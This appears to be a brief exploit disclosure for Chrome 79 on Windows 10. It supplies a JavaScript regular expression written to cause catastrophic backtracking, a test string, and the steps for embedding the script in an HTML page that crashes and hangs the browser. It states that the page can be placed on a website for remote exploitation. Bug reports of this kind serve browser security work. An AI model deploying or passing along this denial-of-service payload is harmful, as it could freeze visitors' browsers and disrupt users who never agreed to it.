Chrome version: 79.0.3945.130 (Official Build) (64-bit) (cohort: 79_Win_130) Channel: n/a Flash Version: 32.0.0.314 Tested on OS: Windows 10 Credit: mahdyfof@gmail.com __________________________________________________________________________ 1. Make a js file with this content: /((?<!\\)("(\\.|[^\\"]+)+"|""|('(\\.|[^\\']+)+')|''|(`(\\.|[^\\`]+)+`)|``))/.test("\": *Aug 30 22:23:13.asdsadasdasdasdasdasd asd asd asd asd asd asdasdasdasdsadak sadsa das das dasd asd asdasdasd"); 2. Include it in an HTML file. <script src="1.js"></script> 3. Open the html file in Chrome browser. It causes the browser to crash and hang. In many systems you cannot even close the window unless you use task manager. You can put it in a site for remote exploitation or do it locally.